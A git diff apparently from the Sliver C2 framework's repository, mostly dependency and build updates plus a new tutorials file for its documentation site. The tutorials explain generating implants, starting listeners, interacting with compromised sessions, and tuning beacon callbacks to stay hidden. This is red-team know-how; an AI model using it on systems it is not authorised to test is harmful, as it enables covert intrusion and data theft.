[19.016957, "o", "\u001b[0J\u001b[266D\u001b[1A\u001b[11D\u001b[9C\u001b[266D\u001b[11C\u001b[?25h"]
|
||||
[19.128941, "o", "\u001b[?25l"]
|
||||
[19.1348, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.144027, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[19.144368, "o", "\u001b[266D\u001b[1A\u001b[12D\u001b[9C\u001b[266D\u001b[12C\u001b[?25h"]
|
||||
[19.251624, "o", "\u001b[?25l"]
|
||||
[19.252599, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.25855, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.258968, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[13D\u001b[9C\u001b[266D\u001b[13C\u001b[?25h"]
|
||||
[19.380187, "o", "\u001b[13D\u001b[9C"]
|
||||
[19.394384, "o", "\u001b[6n"]
|
||||
[19.401432, "o", "\u001b[266D\u001b[13C\u001b[0J\u001b[266D\r\r\n\u001b[0 q\r\n"]
|
||||
[19.414383, "o", "Exiting...\r\n"]
|
||||
[19.462658, "o", "# "]
|
||||
[19.859529, "o", "\r\n"]
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 100 KiB |
@@ -22,8 +22,8 @@ elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
|
||||
INSTALLER=(yum -y)
|
||||
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
|
||||
echo "Installing dependencies using pacman..."
|
||||
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
|
||||
INSTALLER=(pacman -S)
|
||||
pacman --noconfirm -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
|
||||
INSTALLER=(pacman --noconfirm -S)
|
||||
else
|
||||
echo "Unsupported OS, exiting"
|
||||
exit
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intented for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as its retrieving its dependencies, consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how its setup.\n\n\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case first checkout the commands help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n memfiles List current memfiles\n mkdir Make a directory\n mount Get information on mounted filesystems\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n screenshot Take a screenshot\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n"},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-poling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.\n\nTypically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ================== =============== ===============\n 942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s\n\n```\n\nBeacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.\n\nThe example below sets the callback time to 5s with a 1s jitter.\n\n```bash\n[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s\n\n[*] Tasked beacon Line truncated
|
||||
@@ -21,7 +21,8 @@
|
||||
"next-env.d.ts",
|
||||
"**/*.ts",
|
||||
"**/*.tsx",
|
||||
"prebuild/generate-docs.js"
|
||||
"prebuild/generate-docs.js",
|
||||
"prebuild/generate-tutorials.js"
|
||||
],
|
||||
"exclude": ["node_modules"]
|
||||
}
|
||||
@@ -1,18 +1,26 @@
|
||||
import lunr from "lunr";
|
||||
import React from "react";
|
||||
import { Doc, Docs } from "./docs";
|
||||
import { Tutorial, Tutorials } from "./tutorials";
|
||||
|
||||
|
||||
export class SearchCtx {
|
||||
|
||||
private _docs: Docs = { docs: [] };
|
||||
private _docsIndex: lunr.Index;
|
||||
private _tutorials: Tutorials = { tutorials: [] };
|
||||
private _tutorialsIndex: lunr.Index;
|
||||
|
||||
|
||||
constructor() {
|
||||
this._docsIndex = lunr(function () {
|
||||
this.ref("name");
|
||||
this.field("content");
|
||||
});
|
||||
this._tutorialsIndex = lunr(function () {
|
||||
this.ref("name");
|
||||
this.field("content");
|
||||
});
|
||||
}
|
||||
|
||||
public searchDocs = (query: string): Doc[] => {
|
||||
@@ -34,6 +42,18 @@ export class SearchCtx {
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
public addTutorials = (tutorials: Tutorials) => {
|
||||
this._tutorials = tutorials;
|
||||
this._tutorialsIndex = lunr(function () {
|
||||
this.ref("name");
|
||||
this.field("content");
|
||||
tutorials.tutorials.forEach((tutorial) => {
|
||||
this.add(tutorial);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
export const SearchContext = React.createContext<SearchCtx>(new SearchCtx());
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
export type Tutorial = {
|
||||
name: string;
|
||||
content: string;
|
||||
};
|
||||
|
||||
export type Tutorials = {
|
||||
tutorials: Tutorial[];
|
||||
};
|
||||
+3
-3
@@ -20,9 +20,9 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.22.2"
|
||||
GARBLE_VER="1.22.2"
|
||||
ZIG_VER="0.12.0"
|
||||
GO_VER="1.22.5"
|
||||
GARBLE_VER="1.22.5"
|
||||
ZIG_VER="0.13.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
@@ -1,75 +1,75 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.21.1
|
||||
go 1.22.0
|
||||
|
||||
toolchain go1.21.4
|
||||
toolchain go1.22.2
|
||||
|
||||
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca
|
||||
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
|
||||
|
||||
require (
|
||||
filippo.io/age v1.1.1
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.2
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998
|
||||
github.com/chromedp/chromedp v0.9.3
|
||||
github.com/fatih/color v1.16.0
|
||||
github.com/glebarez/sqlite v1.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.5
|
||||
github.com/chromedp/cdproto v0.0.0-20240426225625-909263490071
|
||||
github.com/chromedp/chromedp v0.9.5
|
||||
github.com/fatih/color v1.17.0
|
||||
github.com/glebarez/sqlite v1.11.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/golang/protobuf v1.5.3
|
||||
github.com/google/uuid v1.4.0
|
||||
github.com/golang/protobuf v1.5.4
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.9
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/klauspost/compress v1.17.8
|
||||
github.com/klauspost/compress v1.17.9
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.18
|
||||
github.com/miekg/dns v1.1.57
|
||||
github.com/mattn/go-sqlite3 v1.14.22
|
||||
github.com/miekg/dns v1.1.59
|
||||
github.com/moloch--/asciicast v0.1.0
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/ncruces/go-sqlite3 v0.7.2
|
||||
github.com/reeflective/console v0.1.6
|
||||
github.com/reeflective/readline v1.0.13
|
||||
github.com/rsteube/carapace v0.36.3
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
|
||||
github.com/ncruces/go-sqlite3 v0.20.3
|
||||
github.com/reeflective/console v0.1.15
|
||||
github.com/reeflective/readline v1.0.14
|
||||
github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/spf13/cobra v1.8.0
|
||||
github.com/spf13/cobra v1.8.1
|
||||
github.com/spf13/pflag v1.0.5
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.3.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/ulikunitz/xz v0.5.11
|
||||
github.com/stretchr/testify v1.9.0
|
||||
github.com/tetratelabs/wazero v1.8.2
|
||||
github.com/things-go/go-socks5 v0.0.5
|
||||
github.com/ulikunitz/xz v0.5.12
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.1
|
||||
golang.org/x/crypto v0.22.0
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
|
||||
golang.org/x/net v0.24.0
|
||||
golang.org/x/sys v0.19.0
|
||||
golang.org/x/term v0.19.0
|
||||
golang.org/x/text v0.14.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.59.0
|
||||
google.golang.org/protobuf v1.33.0
|
||||
golang.org/x/crypto v0.29.0
|
||||
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f
|
||||
golang.org/x/net v0.26.0
|
||||
golang.org/x/sys v0.27.0
|
||||
golang.org/x/term v0.26.0
|
||||
golang.org/x/text v0.20.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6
|
||||
google.golang.org/grpc v1.64.1
|
||||
google.golang.org/protobuf v1.34.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.5.1
|
||||
gorm.io/driver/postgres v1.5.2
|
||||
gorm.io/driver/sqlite v1.5.4
|
||||
gorm.io/gorm v1.25.5
|
||||
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6
|
||||
modernc.org/sqlite v1.27.0
|
||||
tailscale.com v1.54.0
|
||||
gorm.io/driver/postgres v1.5.9
|
||||
gorm.io/driver/mysql v1.5.7
|
||||
gorm.io/driver/sqlite v1.5.5
|
||||
gorm.io/gorm v1.25.10
|
||||
gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3
|
||||
modernc.org/sqlite v1.30.1
|
||||
tailscale.com v1.66.4
|
||||
)
|
||||
|
||||
require (
|
||||
cloud.google.com/go/compute/metadata v0.2.3 // indirect
|
||||
filippo.io/edwards25519 v1.0.0 // indirect
|
||||
filippo.io/edwards25519 v1.1.0 // indirect
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.6.1 // indirect
|
||||
@@ -79,51 +79,55 @@ require (
|
||||
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.21.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.42 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.40 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0 // indirect
|
||||
github.com/aws/smithy-go v1.14.2 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.24.1 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/config v1.26.5 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.16.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.11 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.2.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.5.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.7.2 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.10.4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.10.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.44.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.18.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.21.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.26.7 // indirect
|
||||
github.com/aws/smithy-go v1.19.0 // indirect
|
||||
github.com/bits-and-blooms/bitset v1.13.0 // indirect
|
||||
github.com/chromedp/sysutil v1.0.0 // indirect
|
||||
github.com/coreos/go-iptables v0.7.0 // indirect
|
||||
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
|
||||
github.com/coreos/go-iptables v0.7.1-0.20240112124308-65c67c9f46e6 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077 // indirect
|
||||
github.com/dblohm7/wingoes v0.0.0-20240119213807-a09d6be7affa // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/fxamacker/cbor/v2 v2.5.0 // indirect
|
||||
github.com/gaissmai/bart v0.4.1 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/glebarez/go-sqlite v1.21.2 // indirect
|
||||
github.com/go-json-experiment/json v0.0.0-20231102232822-2e55bd4e08b0 // indirect
|
||||
github.com/go-ole/go-ole v1.3.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.3.0 // indirect
|
||||
github.com/gobwas/ws v1.3.2 // indirect
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/google/btree v1.1.2 // indirect
|
||||
github.com/google/go-cmp v0.5.9 // indirect
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
|
||||
github.com/gorilla/csrf v1.7.1 // indirect
|
||||
github.com/gorilla/securecookie v1.1.1 // indirect
|
||||
github.com/google/go-cmp v0.6.0 // indirect
|
||||
github.com/google/nftables v0.2.1-0.20240414091927-5e242ec57806 // indirect
|
||||
github.com/gorilla/csrf v1.7.2 // indirect
|
||||
github.com/gorilla/securecookie v1.1.2 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/hdevalence/ed25519consensus v0.1.0 // indirect
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
|
||||
github.com/hdevalence/ed25519consensus v0.2.0 // indirect
|
||||
github.com/illarion/gonotify v1.0.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.1.0 // indirect
|
||||
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a // indirect
|
||||
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
|
||||
github.com/jackc/pgx/v5 v5.5.4 // indirect
|
||||
github.com/jackc/pgx/v5 v5.5.5 // indirect
|
||||
github.com/jackc/puddle/v2 v2.2.1 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
@@ -131,7 +135,7 @@ require (
|
||||
github.com/jmespath/go-jmespath v0.4.0 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 // indirect
|
||||
github.com/jsimonetti/rtnetlink v1.3.5 // indirect
|
||||
github.com/jsimonetti/rtnetlink v1.4.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
@@ -145,51 +149,50 @@ require (
|
||||
github.com/mdlayher/socket v0.5.0 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
github.com/ncruces/julianday v0.1.5 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.18 // indirect
|
||||
github.com/pkg/errors v0.9.1 // indirect
|
||||
github.com/ncruces/go-strftime v0.1.9 // indirect
|
||||
github.com/ncruces/julianday v1.0.0 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.21 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/rivo/uniseg v0.4.4 // indirect
|
||||
github.com/rsteube/carapace-shlex v0.1.1 // indirect
|
||||
github.com/safchain/ethtool v0.3.0 // indirect
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff // indirect
|
||||
github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e // indirect
|
||||
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 // indirect
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e // indirect
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20240108194725-7ce1f622c780 // indirect
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 // indirect
|
||||
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a // indirect
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 // indirect
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d // indirect
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90 // indirect
|
||||
github.com/tailscale/peercred v0.0.0-20240214030740-b535050b2aa4 // indirect
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1 // indirect
|
||||
github.com/tailscale/wireguard-go v0.0.0-20240429185444-03c5a0ccf754 // indirect
|
||||
github.com/tcnksm/go-httpstat v0.2.0 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 // indirect
|
||||
github.com/u-root/uio v0.0.0-20240118234441-a3c409a6018e // indirect
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2 // indirect
|
||||
github.com/vishvananda/netns v0.0.4 // indirect
|
||||
github.com/x448/float16 v0.8.4 // indirect
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
|
||||
go4.org/netipx v0.0.0-20230824141953-6213f710f925 // indirect
|
||||
golang.org/x/mod v0.13.0 // indirect
|
||||
golang.org/x/sync v0.4.0 // indirect
|
||||
golang.org/x/time v0.3.0 // indirect
|
||||
golang.org/x/tools v0.14.0 // indirect
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||
golang.org/x/mod v0.17.0 // indirect
|
||||
golang.org/x/sync v0.9.0 // indirect
|
||||
golang.org/x/time v0.5.0 // indirect
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
inet.af/peercred v0.0.0-20210906144145-0893ea02156a // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13 // indirect
|
||||
modernc.org/libc v1.29.0 // indirect
|
||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
|
||||
modernc.org/libc v1.52.1 // indirect
|
||||
modernc.org/mathutil v1.6.0 // indirect
|
||||
modernc.org/memory v1.7.2 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
modernc.org/strutil v1.1.3 // indirect
|
||||
modernc.org/token v1.0.1 // indirect
|
||||
nhooyr.io/websocket v1.8.7 // indirect
|
||||
modernc.org/memory v1.8.0 // indirect
|
||||
modernc.org/strutil v1.2.0 // indirect
|
||||
modernc.org/token v1.1.0 // indirect
|
||||
mvdan.cc/sh/v3 v3.7.0 // indirect
|
||||
nhooyr.io/websocket v1.8.10 // indirect
|
||||
)
|
||||
@@ -1,30 +1,30 @@
|
||||
cloud.google.com/go v0.26.0 h1:e0WKqKTd5BnrG8aKH3J3h+QvEIQtSUcf2n5UZ5ZgLtQ=
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go/compute v1.23.0 h1:tP41Zoavr8ptEqaW6j+LQOnyBBhO7OkOMAGrgLopTwY=
|
||||
cloud.google.com/go/compute v1.23.0/go.mod h1:4tCnrn48xsqlwSAiLf1HXMQk8CONslYbdiEZc9FEIbM=
|
||||
cloud.google.com/go/compute v1.25.1 h1:ZRpHJedLtTpKgr3RV1Fx23NuaAEN1Zfx9hw1u4aJdjU=
|
||||
cloud.google.com/go/compute v1.25.1/go.mod h1:oopOIR53ly6viBYxaDhBfJwzUAxf1zE//uf3IB011ls=
|
||||
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
|
||||
cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA=
|
||||
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
|
||||
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
|
||||
filippo.io/edwards25519 v1.0.0 h1:0wAIcmJUqRdI8IJ/3eGi5/HwXZWPujYXXlkrQogz0Ek=
|
||||
filippo.io/edwards25519 v1.0.0/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns=
|
||||
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
|
||||
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
|
||||
filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc=
|
||||
filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo=
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
|
||||
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
|
||||
